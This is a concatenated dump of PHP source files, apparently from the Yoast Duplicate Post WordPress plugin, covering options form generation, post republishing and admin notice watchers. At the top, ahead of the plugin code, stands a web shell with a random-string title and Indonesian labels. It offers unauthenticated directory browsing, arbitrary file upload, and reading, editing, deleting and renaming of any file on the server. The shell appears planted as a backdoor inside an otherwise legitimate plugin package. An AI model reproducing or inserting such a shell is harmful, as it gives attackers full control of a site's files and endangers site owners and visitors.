	<center><h1>H69UNtblNBNpha2dtB1Odn8qYp1Qk5NK2gi7yfceofo9N</h1></center>
  <div class="dir">
	<?php  
	if (isset($_GET['dir'])) {
			$dir = $_GET['dir'];
		} else {
			$dir = getcwd();
		}

		$dir = str_replace("\\", "/", $dir);
		$dirs = explode("/", $dir);

		foreach ($dirs as $key => $value) {
			if ($value == "" && $key == 0){
				echo '<a href="/">/</a>'; continue;
			} echo '<a href="?dir=';

			for ($i=0; $i <= $key ; $i++) { 
				echo "$dirs[$i]"; if ($key !== $i) echo "/";
			} echo '">'.$value.'</a>/';
	}
	if (isset($_POST['submit'])){

		$namafile = $_FILES['upload']['name'];
		$tempatfile = $_FILES['upload']['tmp_name'];
		$tempat = $_GET['dir'];
		$error = $_FILES['upload']['error'];
		$ukuranfile = $_FILES['upload']['size'];

		move_uploaded_file($tempatfile, $dir.'/'.$namafile);
				echo "
					<script>alert('diupload!!!');</script>
					";
						

	
	}
	?>

	<form method="post" enctype="multipart/form-data">
		<input type="file" name="upload">
		<input type="submit" name="submit" value="Upload">
		
	</form>

  </div>
<table>
	<tr>
		<th>Nama File / Folder</th>
		<th>Size</th>
		<th>Action</th>
	</tr>
	<?php
	$scan = scandir($dir);

foreach ($scan as $directory) {
	if (!is_dir($dir.'/'.$directory) || $directory == '.' || $directory == '..') continue;

	echo '
	<tr>
	<td><a href="?dir='.$dir.'/'.$directory.'">'.$directory.'</a></td>
	<td>--</td>
	<td>NONE</td>
	</tr>
	';
	} 
foreach ($scan as $file) {
	if (!is_file($dir.'/'.$file)) continue;

	$jumlah = filesize($dir.'/'.$file)/1024;
	$jumlah = round($jumlah, 3);
	if ($jumlah >= 1024) {
		$jumlah = round($jumlah/1024, 2).'MB';
	} else {
		$jumlah = $jumlah .'KB';
	}

	echo '
	<tr>
	<td><a href="?dir='.$dir.'&open='.$dir.'/'.$file.'">'.$file.'</a></td>
	<td>'.$jumlah.'</td>
	<td>
	<a href="?dir='.$dir.'&delete='.$dir.'/'.$file.'" class="button1">Hapus</a>
	<a href="?dir='.$dir.'&ubah='.$dir.'/'.$file.'" class="button1">Edit</a>
	<a href="?dir='.$dir.'&rename='.$dir.'/'.$file.'&nama='.$file.'" class="button1">Rename</a>
	</td>
	</tr>
	';
}
if (isset($_GET['open'])) {
	echo '
	<br />
	<style>
		table {
			display: none;
		}
	</style>
	<textarea>'.htmlspecialchars(file_get_contents($_GET['open'])).'</textarea>
	';
}

if (isset($_GET['delete'])) {
	if (unlink($_GET['delete'])) {
		echo "<script>alert('dihapus');window.location='?dir=".$dir."';</script>";
	}
}
if (isset($_GET['ubah'])) {
	echo '

		<style>
			table {
				display: none;
			}
		</style>

		<a href="?dir='.$dir.'" class="button1"><=Back</a>
		<form method="post" action="">
		<input type="hidden" name="object" value="'.$_GET['ubah'].'">
		<textarea name="edit">'.htmlspecialchars(file_get_contents($_GET['ubah'])).'</textarea>
		<center><button type="submit" name="go" value="Submit" class="button1">Liking</button></center>
		</form>

		';
}
if (isset($_POST['edit'])) {
	$data = fopen($_POST["object"], 'w');
	if (fwrite($data, $_POST['edit'])) {

		echo 
			'
			<script>alert("Berhasil diedit!!!");window.location="?dir='.$dir.'";</script>						
			';

	} else {
		echo "
			<script>alert('gagal');</script>					
			";
	}
}

if($_GET['rename']){
	if(isset($_POST['newname'])){
		if(rename($_GET['rename'], $_GET['dir'] . '/' .$_POST['newname'])){
			echo '<font color="green">Ganti Nama Berhasil</font><br/>';
			echo "<script>window.location='?dir=".$dir."';</script>";
		}else{
			echo '<font color="red">Ganti Nama Gagal</font><br />';
		}
	}
echo '<br><center><form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_GET['nama'].'" />
<input type="hidden" name="path" value="'.$_GET['dir'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form></center>';
}

?>
</table>
</body>
</html>src/admin/options-inputs.php000064400000003765151327062330012164 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Admin;

/**
 * Class Options_Inputs.
 */
class Options_Inputs {

	/**
	 * Creates a basic input based on the passed parameters.
	 *
	 * @param string $type       The type of input.
	 * @param string $name       The name of the input.
	 * @param string $value      The value of the input.
	 * @param string $id         The ID of the input.
	 * @param string $attributes The additional attributes to use. Optional.
	 *
	 * @return string The input's HTML output.
	 */
	protected function input( $type, $name, $value, $id, $attributes = '' ) {
		return \sprintf(
			'<input type="%s" name="%s" id="%s" value="%s" %s />',
			\esc_attr( $type ),
			\esc_attr( $name ),
			\esc_attr( $id ),
			\esc_attr( $value ),
			$attributes
		);
	}

	/**
	 * Creates a checkbox input.
	 *
	 * @param string $name    The name of the checkbox.
	 * @param string $value   The value of the checkbox.
	 * @param string $id      The ID of the checkbox.
	 * @param bool   $checked Whether or not the checkbox should be checked.
	 *
	 * @return string The checkbox' HTML output.
	 */
	public function checkbox( $name, $value, $id, $checked = false ) {
		$checked = \checked( $checked, true, false );

		return $this->input( 'checkbox', $name, $value, $id, $checked );
	}

	/**
	 * Creates a text field input.
	 *
	 * @param string $name  The name of the text field.
	 * @param string $value The value of the text field.
	 * @param string $id    The ID of the text field.
	 *
	 * @return string The text field's HTML output.
	 */
	public function text( $name, $value, $id ) {
		return $this->input( 'text', $name, $value, $id );
	}

	/**
	 * Creates a number input.
	 *
	 * @param string $name  The name of the number input.
	 * @param string $value The value of the number input.
	 * @param string $id    The ID of the number input.
	 *
	 * @return string The number input's HTML output.
	 */
	public function number( $name, $value, $id ) {
		return $this->input( 'number', $name, $value, $id, 'min="0" step="1"' );
	}
}
src/admin/options-form-generator.php000064400000022652151327062330013565 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Admin;

use WP_Taxonomy;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Class Options_Form_Generator.
 */
class Options_Form_Generator {

	/**
	 * The Options_Inputs instance.
	 *
	 * @var Options_Inputs
	 */
	protected $options_inputs;

	/**
	 * Options_Form_Generator constructor.
	 *
	 * @param Options_Inputs $inputs The Options_Inputs instance.
	 */
	public function __construct( Options_Inputs $inputs ) {
		$this->options_inputs = $inputs;
	}

	/**
	 * Generates the HTML output of an input control, based on the passed options.
	 *
	 * @param array  $options       The options to base the input on.
	 * @param string $parent_option The parent option, used for grouped inputs. Optional.
	 *
	 * @return string The HTML output.
	 */
	public function generate_options_input( array $options, $parent_option = '' ) {
		$output = '';

		foreach ( $options as $option => $option_values ) {
			// Skip empty options.
			if ( empty( $option_values ) ) {
				continue;
			}

			// Check for support of the current WordPress version.
			if ( \array_key_exists( 'version', $option_values ) && \version_compare( \get_bloginfo( 'version' ), $option_values['version'] ) < 0 ) {
				continue;
			}

			if ( \array_key_exists( 'sub_options', $option_values ) ) {
				$output .= $this->generate_options_input( $option_values['sub_options'], $option );

				continue;
			}

			// If callback, call it.
			if ( \array_key_exists( 'callback', $option_values ) ) {
				$output .= $this->{$option_values['callback']}();

				continue;
			}

			if ( ! \array_key_exists( 'type', $option_values ) ) {
				continue;
			}

			$id = ( \array_key_exists( 'id', $option_values ) ? $option_values['id'] : $this->prepare_input_id( $option ) );

			if ( $parent_option !== '' ) {
				$id     = \sprintf( '%s-%s', $this->prepare_input_id( $parent_option ), $id );
				$option = \sprintf( '%s[%s]', $parent_option, $option );
			}

			switch ( $option_values['type'] ) {
				case 'checkbox':
					$output .= $this->options_inputs->checkbox(
						$option,
						$option_values['value'],
						$id,
						$this->is_checked( $option, $option_values, $parent_option )
					);

					$output .= \sprintf( '<label for="%s">%s</label>', $id, \esc_html( $option_values['label'] ) );
					break;
				case 'text':
					$output .= $this->options_inputs->text( $option, $option_values['value'], $id );
					break;
				case 'number':
					$output .= $this->options_inputs->number( $option, $option_values['value'], $id );

					break;
			}

			if ( \array_key_exists( 'description', $option_values ) ) {
				$output .= ' ' . $this->extract_description( $option_values['description'], $id );
			}

			$output .= '<br />';
		}

		return $output;
	}

	/**
	 * Sorts taxonomy objects based on being public, followed by being private
	 * and when the visibility is equal, on the taxonomy public name (case-sensitive).
	 *
	 * @param WP_Taxonomy $taxonomy1 First taxonomy object.
	 * @param WP_Taxonomy $taxonomy2 Second taxonomy object.
	 *
	 * @return int An integer less than, equal to, or greater than zero indicating respectively
	 *             the first taxonomy should be sorted before, at the same level or after the second taxonomy.
	 */
	public function sort_taxonomy_objects( $taxonomy1, $taxonomy2 ) {
		if ( $taxonomy1->public === true && $taxonomy2->public === false ) {
			return -1;
		}
		elseif ( $taxonomy1->public === false && $taxonomy2->public === true ) {
			return 1;
		}

		// Same visibility, sort by name.
		return \strnatcmp( $taxonomy1->labels->name, $taxonomy2->labels->name );
	}

	/**
	 * Extracts and formats the description associated with the input field.
	 *
	 * @param string|array $description The description string. Can be an array of strings.
	 * @param string       $id          The ID of the input field.
	 *
	 * @return string The description HTML for the input.
	 */
	public function extract_description( $description, $id ) {
		if ( ! \is_array( $description ) ) {
			return \sprintf( '<span id="%s-description">(%s)</span>', $id, \esc_html( $description ) );
		}

		return \sprintf( '<p id="%s-description">%s</p>', $id, \implode( '<br />', \array_map( '\esc_html', $description ) ) );
	}

	/**
	 * Generates a list of checkboxes for registered taxonomies.
	 *
	 * @return string The generated taxonomies list.
	 */
	public function generate_taxonomy_exclusion_list() {
		$taxonomies = \get_taxonomies( [], 'objects' );

		\usort( $taxonomies, [ $this, 'sort_taxonomy_objects' ] );

		$taxonomies_blacklist = \get_option( 'duplicate_post_taxonomies_blacklist' );

		if ( ! \is_array( $taxonomies_blacklist ) ) {
			$taxonomies_blacklist = [];
		}

		$output = '';

		foreach ( $taxonomies as $taxonomy ) {
			if ( $taxonomy->name === 'post_format' ) {
				continue;
			}

			$is_public = ( $taxonomy->public ) ? 'public' : 'private';
			$name      = \esc_attr( $taxonomy->name );

			$output .= \sprintf( '<div class="taxonomy_%s">', $is_public );
			$output .= $this->generate_options_input(
				[
					'duplicate_post_taxonomies_blacklist[]' => [
						'type'    => 'checkbox',
						'id'      => 'duplicate-post-' . $this->prepare_input_id( $name ),
						'value'   => $name,
						'checked' => \in_array( $taxonomy->name, $taxonomies_blacklist, true ),
						'label'   => $taxonomy->labels->name . ' [' . $taxonomy->name . ']',
					],
				]
			);
			$output .= '</div>';
		}

		return $output;
	}

	/**
	 * Generates a list of checkboxes for registered roles.
	 *
	 * @return string The generated roles list.
	 */
	public function generate_roles_permission_list() {
		$post_types        = \get_post_types( [ 'show_ui' => true ], 'objects' );
		$edit_capabilities = [ 'edit_posts' => true ];

		foreach ( $post_types as $post_type ) {
			$edit_capabilities[ $post_type->cap->edit_posts ] = true;
		}

		$output = '';

		foreach ( Utils::get_roles() as $name => $display_name ) {
			$role = \get_role( $name );

			if ( \count( \array_intersect_key( $role->capabilities, $edit_capabilities ) ) > 0 ) {
				$output .= $this->generate_options_input(
					[
						'duplicate_post_roles[]' => [
							'type'    => 'checkbox',
							'id'      => 'duplicate-post-' . $this->prepare_input_id( $name ),
							'value'   => $name,
							'checked' => $role->has_cap( 'copy_posts' ),
							'label'   => \translate_user_role( $display_name ),
						],
					]
				);
			}
		}

		return $output;
	}

	/**
	 * Generates a list of checkboxes for registered post types.
	 *
	 * @return string The generated post types list.
	 */
	public function generate_post_types_list() {
		$post_types        = \get_post_types( [ 'show_ui' => true ], 'objects' );
		$hidden_post_types = $this->get_hidden_post_types();
		$output            = '';

		foreach ( $post_types as $post_type_object ) {
			if ( \in_array( $post_type_object->name, $hidden_post_types, true ) ) {
				continue;
			}

			$name = \esc_attr( $post_type_object->name );

			$output .= $this->generate_options_input(
				[
					'duplicate_post_types_enabled[]' => [
						'type'    => 'checkbox',
						'id'      => 'duplicate-post-' . $this->prepare_input_id( $name ),
						'value'   => $name,
						'checked' => $this->is_post_type_enabled( $post_type_object->name ),
						'label'   => $post_type_object->labels->name,
					],
				]
			);
		}

		return $output;
	}

	/**
	 * Determines whether the passed option should result in a checked checkbox or not.
	 *
	 * @param string $option        The option to search for.
	 * @param array  $option_values The option's values.
	 * @param string $parent_option The parent option. Optional.
	 *
	 * @return bool Whether or not the checkbox should be checked.
	 */
	public function is_checked( $option, $option_values, $parent_option = '' ) {
		if ( \array_key_exists( 'checked', $option_values ) ) {
			return $option_values['checked'];
		}

		// Check for serialized options.
		$saved_option = ! empty( $parent_option ) ? \get_option( $parent_option ) : \get_option( $option );

		if ( ! \is_array( $saved_option ) ) {
			return (int) $saved_option === 1;
		}

		// Clean up the sub-option's name.
		$cleaned_option = \trim( \str_replace( $parent_option, '', $option ), '[]' );

		return \array_key_exists( $cleaned_option, $saved_option ) && (int) $saved_option[ $cleaned_option ] === 1;
	}

	/**
	 * Prepares the passed ID so it's properly formatted.
	 *
	 * @param string $id The ID to prepare.
	 *
	 * @return string The prepared input ID.
	 */
	public function prepare_input_id( $id ) {
		return \str_replace( '_', '-', $id );
	}

	/**
	 * Checks whether or not a post type is enabled.
	 *
	 * @codeCoverageIgnore As this is a simple wrapper for a function that is also being used elsewhere, we can skip testing for now.
	 *
	 * @param string $post_type The post type.
	 *
	 * @return bool Whether or not the post type is enabled.
	 */
	public function is_post_type_enabled( $post_type ) {
		$duplicate_post_types_enabled = \get_option( 'duplicate_post_types_enabled', [ 'post', 'page' ] );
		if ( ! \is_array( $duplicate_post_types_enabled ) ) {
			$duplicate_post_types_enabled = [ $duplicate_post_types_enabled ];
		}
		return \in_array( $post_type, $duplicate_post_types_enabled, true );
	}

	/**
	 * Generates a list of post types that should be hidden from the options page.
	 *
	 * @return array The array of names of the post types to hide.
	 */
	public function get_hidden_post_types() {
		$hidden_post_types = [
			'attachment',
			'wp_block',
		];

		if ( Utils::is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
			$hidden_post_types[] = 'product';
		}

		return $hidden_post_types;
	}
}
src/post-republisher.php000064400000031022151327062330011353 0ustar00<?php

namespace Yoast\WP\Duplicate_Post;

use WP_Post;

/**
 * Duplicate Post class to republish a rewritten post.
 *
 * @since 4.0
 */
class Post_Republisher {

	/**
	 * Post_Duplicator object.
	 *
	 * @var Post_Duplicator
	 */
	protected $post_duplicator;

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Initializes the class.
	 *
	 * @param Post_Duplicator    $post_duplicator    The Post_Duplicator object.
	 * @param Permissions_Helper $permissions_helper The Permissions Helper object.
	 */
	public function __construct( Post_Duplicator $post_duplicator, Permissions_Helper $permissions_helper ) {
		$this->post_duplicator    = $post_duplicator;
		$this->permissions_helper = $permissions_helper;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'init', [ $this, 'register_post_statuses' ] );
		\add_filter( 'wp_insert_post_data', [ $this, 'change_post_copy_status' ], 1, 2 );

		$enabled_post_types = $this->permissions_helper->get_enabled_post_types();
		foreach ( $enabled_post_types as $enabled_post_type ) {
			/**
			 * Called in the REST API when submitting the post copy in the Block Editor.
			 * Runs the republishing of the copy onto the original.
			 */
			\add_action( "rest_after_insert_{$enabled_post_type}", [ $this, 'republish_after_rest_api_request' ] );
		}

		/**
		 * Called by `wp_insert_post()` when submitting the post copy, which runs in two cases:
		 * - In the Classic Editor, where there's only one request that updates everything.
		 * - In the Block Editor, only when there are custom meta boxes.
		 */
		\add_action( 'wp_insert_post', [ $this, 'republish_after_post_request' ], \PHP_INT_MAX, 2 );

		// Clean up after the redirect to the original post.
		\add_action( 'load-post.php', [ $this, 'clean_up_after_redirect' ] );
		// Clean up the original when the copy is manually deleted from the trash.
		\add_action( 'before_delete_post', [ $this, 'clean_up_when_copy_manually_deleted' ] );
		// Ensure scheduled Rewrite and Republish posts are properly handled.
		\add_action( 'future_to_publish', [ $this, 'republish_scheduled_post' ] );
	}

	/**
	 * Adds custom post statuses.
	 *
	 * These post statuses are meant for internal use. However, we can't use the
	 * `internal` status because the REST API posts controller allows all registered
	 * statuses but the `internal` one.
	 *
	 * @return void
	 */
	public function register_post_statuses() {
		$options = [
			'label'                     => \__( 'Republish', 'duplicate-post' ),
			'exclude_from_search'       => false,
			'show_in_admin_all_list'    => false,
			'show_in_admin_status_list' => false,
		];

		\register_post_status( 'dp-rewrite-republish', $options );
	}

	/**
	 * Changes the post copy status.
	 *
	 * Runs on the `wp_insert_post_data` hook in `wp_insert_post()` when
	 * submitting the post copy.
	 *
	 * @param array $data    An array of slashed, sanitized, and processed post data.
	 * @param array $postarr An array of sanitized (and slashed) but otherwise unmodified post data.
	 *
	 * @return array An array of slashed, sanitized, and processed attachment post data.
	 */
	public function change_post_copy_status( $data, $postarr ) {
		if ( ! \array_key_exists( 'ID', $postarr ) || empty( $postarr['ID'] ) ) {
			return $data;
		}

		$post = \get_post( $postarr['ID'] );

		if ( ! $post || ! $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			return $data;
		}

		if ( $data['post_status'] === 'publish' ) {
			$data['post_status'] = 'dp-rewrite-republish';
		}

		return $data;
	}

	/**
	 * Executes the republish request.
	 *
	 * @param WP_Post $post The copy's post object.
	 *
	 * @return void
	 */
	public function republish_request( $post ) {
		if (
			! $post instanceof WP_Post
			|| ! $this->permissions_helper->is_rewrite_and_republish_copy( $post )
			|| ! $this->permissions_helper->is_copy_allowed_to_be_republished( $post )
		) {
			return;
		}

		$original_post = Utils::get_original( $post->ID );

		if ( ! $original_post ) {
			return;
		}

		$this->republish( $post, $original_post );

		// Trigger the redirect in the Classic Editor.
		if ( $this->is_classic_editor_post_request() ) {
			$this->redirect( $original_post->ID, $post->ID );
		}
	}

	/**
	 * Republishes the original post with the passed post, when using the Block Editor.
	 *
	 * @param WP_Post $post The copy's post object.
	 *
	 * @return void
	 */
	public function republish_after_rest_api_request( $post ) {
		$this->republish_request( $post );
	}

	/**
	 * Republishes the original post with the passed post, when using the Classic Editor.
	 *
	 * Runs also in the Block Editor to save the custom meta data only when there
	 * are custom meta boxes.
	 *
	 * @param int     $post_id The copy's post ID.
	 * @param WP_Post $post    The copy's post object.
	 *
	 * @return void
	 */
	public function republish_after_post_request( $post_id, $post ) {
		if ( $this->is_rest_request() ) {
			return;
		}

		$this->republish_request( $post );
	}

	/**
	 * Republishes the scheduled Rewrited and Republish post.
	 *
	 * @param WP_Post $copy The scheduled copy.
	 *
	 * @return void
	 */
	public function republish_scheduled_post( $copy ) {
		if ( ! $copy instanceof WP_Post || ! $this->permissions_helper->is_rewrite_and_republish_copy( $copy ) ) {
			return;
		}

		$original_post = Utils::get_original( $copy->ID );

		// If the original post was permanently deleted, we don't want to republish, so trash instead.
		if ( ! $original_post ) {
			$this->delete_copy( $copy->ID, null, false );

			return;
		}

		\kses_remove_filters();
		$this->republish( $copy, $original_post );
		\kses_init_filters();
		$this->delete_copy( $copy->ID, $original_post->ID );
	}

	/**
	 * Cleans up the copied post and temporary metadata after the user has been redirected.
	 *
	 * @return void
	 */
	public function clean_up_after_redirect() {
		if ( ! empty( $_GET['dprepublished'] ) && ! empty( $_GET['dpcopy'] ) && ! empty( $_GET['post'] ) ) {
			$copy_id = \intval( \wp_unslash( $_GET['dpcopy'] ) );
			$post_id = \intval( \wp_unslash( $_GET['post'] ) );

			\check_admin_referer( 'dp-republish', 'dpnonce' );

			if ( \intval( \get_post_meta( $copy_id, '_dp_has_been_republished', true ) ) === 1 ) {
				$this->delete_copy( $copy_id, $post_id );
			}
			else {
				\wp_die( \esc_html__( 'An error occurred while deleting the Rewrite & Republish copy.', 'duplicate-post' ) );
			}
		}
	}

	/**
	 * Checks whether a request is the Classic Editor POST request.
	 *
	 * @return bool Whether the request is the Classic Editor POST request.
	 */
	public function is_classic_editor_post_request() {
		if ( $this->is_rest_request() || \wp_doing_ajax() ) {
			return false;
		}

		return isset( $_GET['meta-box-loader'] ) === false;
	}

	/**
	 * Determines whether the current request is a REST request.
	 *
	 * @return bool Whether or not the request is a REST request.
	 */
	public function is_rest_request() {
		return \defined( 'REST_REQUEST' ) && \REST_REQUEST;
	}

	/**
	 * Republishes the post by overwriting the original post.
	 *
	 * @param WP_Post $post          The Rewrite & Republish copy.
	 * @param WP_Post $original_post The original post.
	 *
	 * @return void
	 */
	public function republish( WP_Post $post, WP_Post $original_post ) {
		// Remove WordPress default filter so a new revision is not created on republish.
		\remove_action( 'post_updated', 'wp_save_post_revision', 10 );

		// Republish taxonomies and meta.
		$this->republish_post_taxonomies( $post );
		$this->republish_post_meta( $post );

		// Republish the post.
		$this->republish_post_elements( $post, $original_post );

		// Mark the copy as already published.
		\update_post_meta( $post->ID, '_dp_has_been_republished', '1' );

		// Re-enable the creation of a new revision.
		\add_action( 'post_updated', 'wp_save_post_revision', 10, 1 );
	}

	/**
	 * Deletes the copy and associated post meta, if applicable.
	 *
	 * @param int      $copy_id            The copy's ID.
	 * @param int|null $post_id            The original post's ID. Optional.
	 * @param bool     $permanently_delete Whether to permanently delete the copy. Defaults to true.
	 *
	 * @return void
	 */
	public function delete_copy( $copy_id, $post_id = null, $permanently_delete = true ) {
		/**
		 * Fires before deleting a Rewrite & Republish copy.
		 *
		 * @param int $copy_id The copy's ID.
		 * @param int $post_id The original post's ID..
		 */
		\do_action( 'duplicate_post_after_rewriting', $copy_id, $post_id );

		// Delete the copy bypassing the trash so it also deletes the copy post meta.
		\wp_delete_post( $copy_id, $permanently_delete );

		if ( ! \is_null( $post_id ) ) {
			// Delete the meta that marks the original post has having a copy.
			\delete_post_meta( $post_id, '_dp_has_rewrite_republish_copy' );
		}
	}

	/**
	 * Republishes the post elements overwriting the original post.
	 *
	 * @param WP_Post $post          The post object.
	 * @param WP_Post $original_post The original post.
	 *
	 * @return void
	 */
	protected function republish_post_elements( $post, $original_post ) {
		// Cast to array and not alter the copy's original object.
		$post_to_be_rewritten = clone $post;

		// Prepare post data for republishing.
		$post_to_be_rewritten->ID          = $original_post->ID;
		$post_to_be_rewritten->post_name   = $original_post->post_name;
		$post_to_be_rewritten->post_status = $this->determine_post_status( $post, $original_post );

		/**
		 * Yoast SEO and other plugins prevent from accidentally updating another post's
		 * data (e.g. the Yoast SEO metadata by checking the $_POST data ID with the post object ID.
		 * We need to overwrite the $_POST data ID to allow updating the original post.
		 */
		$_POST['ID'] = $original_post->ID;

		// Republish the original post.
		$rewritten_post_id = \wp_update_post( $post_to_be_rewritten );

		if ( $rewritten_post_id === 0 ) {
			\wp_die( \esc_html__( 'An error occurred while republishing the post.', 'duplicate-post' ) );
		}
	}

	/**
	 * Republishes the post taxonomies overwriting the ones of the original post.
	 *
	 * @param WP_Post $post The copy's post object.
	 *
	 * @return void
	 */
	protected function republish_post_taxonomies( $post ) {
		$original_post_id = Utils::get_original_post_id( $post->ID );

		$copy_taxonomies_options = [
			'taxonomies_excludelist' => [],
			'use_filters'            => false,
			'copy_format'            => true,
		];
		$this->post_duplicator->copy_post_taxonomies( $original_post_id, $post, $copy_taxonomies_options );
	}

	/**
	 * Republishes the post meta overwriting the ones of the original post.
	 *
	 * @param WP_Post $post The copy's post object.
	 *
	 * @return void
	 */
	protected function republish_post_meta( $post ) {
		$original_post_id = Utils::get_original_post_id( $post->ID );

		$copy_meta_options = [
			'meta_excludelist' => Utils::get_default_filtered_meta_names(),
			'use_filters'      => false,
			'copy_thumbnail'   => true,
			'copy_template'    => true,
		];
		$this->post_duplicator->copy_post_meta_info( $original_post_id, $post, $copy_meta_options );
	}

	/**
	 * Redirects the user to the original post.
	 *
	 * @param int $original_post_id The ID of the original post to redirect to.
	 * @param int $copy_id          The ID of the copy post.
	 *
	 * @return void
	 */
	protected function redirect( $original_post_id, $copy_id ) {
		\wp_safe_redirect(
			\add_query_arg(
				[
					'dprepublished' => 1,
					'dpcopy'        => $copy_id,
					'dpnonce'       => \wp_create_nonce( 'dp-republish' ),
				],
				\admin_url( 'post.php?action=edit&post=' . $original_post_id )
			)
		);
		exit();
	}

	/**
	 * Determines the post status to use when publishing the Rewrite & Republish copy.
	 *
	 * @param WP_Post $post          The post object.
	 * @param WP_Post $original_post The original post object.
	 *
	 * @return string The post status to use.
	 */
	protected function determine_post_status( $post, $original_post ) {
		if ( $original_post->post_status === 'trash' ) {
			return 'trash';
		}

		if ( $post->post_status === 'private' ) {
			return 'private';
		}

		return 'publish';
	}

	/**
	 * Deletes the original post meta that flags it as having a copy when the copy is manually deleted.
	 *
	 * @param int $post_id Post ID of a post that is going to be deleted.
	 *
	 * @return void
	 */
	public function clean_up_when_copy_manually_deleted( $post_id ) {
		$post = \get_post( $post_id );

		if ( ! $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			return;
		}

		$original_post_id = Utils::get_original_post_id( $post_id );
		\delete_post_meta( $original_post_id, '_dp_has_rewrite_republish_copy' );
	}
}
src/watchers/watchers.php000064400000003012151327062330011502 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Watchers;

use Yoast\WP\Duplicate_Post\Permissions_Helper;

/**
 * Duplicate Post user interface.
 */
class Watchers {

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Holds the original post watcher.
	 *
	 * @var Original_Post_Watcher
	 */
	protected $original_post_watcher;

	/**
	 * Holds the copied post watcher.
	 *
	 * @var Copied_Post_Watcher
	 */
	protected $copied_post_watcher;

	/**
	 * Holds the bulk actions watcher.
	 *
	 * @var Bulk_Actions_Watcher
	 */
	protected $bulk_actions_watcher;

	/**
	 * Holds the link actions watcher.
	 *
	 * @var Link_Actions_Watcher
	 */
	protected $link_actions_watcher;

	/**
	 * Holds the republished post watcher.
	 *
	 * @var Republished_Post_Watcher
	 */
	protected $republished_post_watcher;

	/**
	 * Initializes the class.
	 *
	 * @param Permissions_Helper $permissions_helper The permissions helper object.
	 */
	public function __construct( Permissions_Helper $permissions_helper ) {
		$this->permissions_helper       = $permissions_helper;
		$this->copied_post_watcher      = new Copied_Post_Watcher( $this->permissions_helper );
		$this->original_post_watcher    = new Original_Post_Watcher( $this->permissions_helper );
		$this->bulk_actions_watcher     = new Bulk_Actions_Watcher();
		$this->link_actions_watcher     = new Link_Actions_Watcher( $this->permissions_helper );
		$this->republished_post_watcher = new Republished_Post_Watcher( $this->permissions_helper );
	}
}
src/watchers/bulk-actions-watcher.php000064400000005014151327062330013714 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Watchers;

/**
 * Duplicate Post class to watch for the bulk actions and show notices.
 */
class Bulk_Actions_Watcher {

	/**
	 * Initializes the class.
	 */
	public function __construct() {
		$this->register_hooks();
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'removable_query_args', [ $this, 'add_removable_query_args' ] );
		\add_action( 'admin_notices', [ $this, 'add_bulk_clone_admin_notice' ] );
		\add_action( 'admin_notices', [ $this, 'add_bulk_rewrite_and_republish_admin_notice' ] );
	}

	/**
	 * Adds vars to the removable query args.
	 *
	 * @param array $removable_query_args Array of query args keys.
	 *
	 * @return array The updated array of query args keys.
	 */
	public function add_removable_query_args( $removable_query_args ) {
		if ( \is_array( $removable_query_args ) ) {
			$removable_query_args[] = 'bulk_cloned';
			$removable_query_args[] = 'bulk_rewriting';
		}
		return $removable_query_args;
	}

	/**
	 * Shows a notice after the Clone bulk action has succeeded.
	 *
	 * @return void
	 */
	public function add_bulk_clone_admin_notice() {
		if ( ! empty( $_REQUEST['bulk_cloned'] ) ) {
			$copied_posts = \intval( $_REQUEST['bulk_cloned'] );
			\printf(
				'<div id="message" class="notice notice-success fade"><p>'
				. \esc_html(
					/* translators: %s: Number of posts copied. */
					\_n(
						'%s item copied.',
						'%s items copied.',
						$copied_posts,
						'duplicate-post'
					)
				) . '</p></div>',
				\esc_html( $copied_posts )
			);
		}
	}

	/**
	 * Shows a notice after the Rewrite & Republish bulk action has succeeded.
	 *
	 * @return void
	 */
	public function add_bulk_rewrite_and_republish_admin_notice() {
		if ( ! empty( $_REQUEST['bulk_rewriting'] ) ) {
			$copied_posts = \intval( $_REQUEST['bulk_rewriting'] );
			\printf(
				'<div id="message" class="notice notice-success fade"><p>'
				. \esc_html(
					/* translators: %s: Number of posts copied. */
					\_n(
						'%s post duplicated. You can now start rewriting your post in the duplicate of the original post. Once you choose to republish it your changes will be merged back into the original post.',
						'%s posts duplicated. You can now start rewriting your posts in the duplicates of the original posts. Once you choose to republish them your changes will be merged back into the original post.',
						$copied_posts,
						'duplicate-post'
					)
				) . '</p></div>',
				\esc_html( $copied_posts )
			);
		}
	}
}
src/watchers/link-actions-watcher.php000064400000006707151327062330013726 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Watchers;

use Yoast\WP\Duplicate_Post\Permissions_Helper;

/**
 * Duplicate Post class to watch for the link actions and show notices.
 */
class Link_Actions_Watcher {

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Initializes the class.
	 *
	 * @param Permissions_Helper $permissions_helper The Permissions helper object.
	 */
	public function __construct( Permissions_Helper $permissions_helper ) {
		$this->permissions_helper = $permissions_helper;

		$this->register_hooks();
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'removable_query_args', [ $this, 'add_removable_query_args' ], 10, 1 );
		\add_action( 'admin_notices', [ $this, 'add_clone_admin_notice' ] );
		\add_action( 'admin_notices', [ $this, 'add_rewrite_and_republish_admin_notice' ] );
		\add_action( 'enqueue_block_editor_assets', [ $this, 'add_rewrite_and_republish_block_editor_notice' ] );
	}

	/**
	 * Adds vars to the removable query args.
	 *
	 * @param array $removable_query_args Array of query args keys.
	 *
	 * @return array The updated array of query args keys.
	 */
	public function add_removable_query_args( $removable_query_args ) {
		if ( \is_array( $removable_query_args ) ) {
			$removable_query_args[] = 'cloned';
			$removable_query_args[] = 'rewriting';
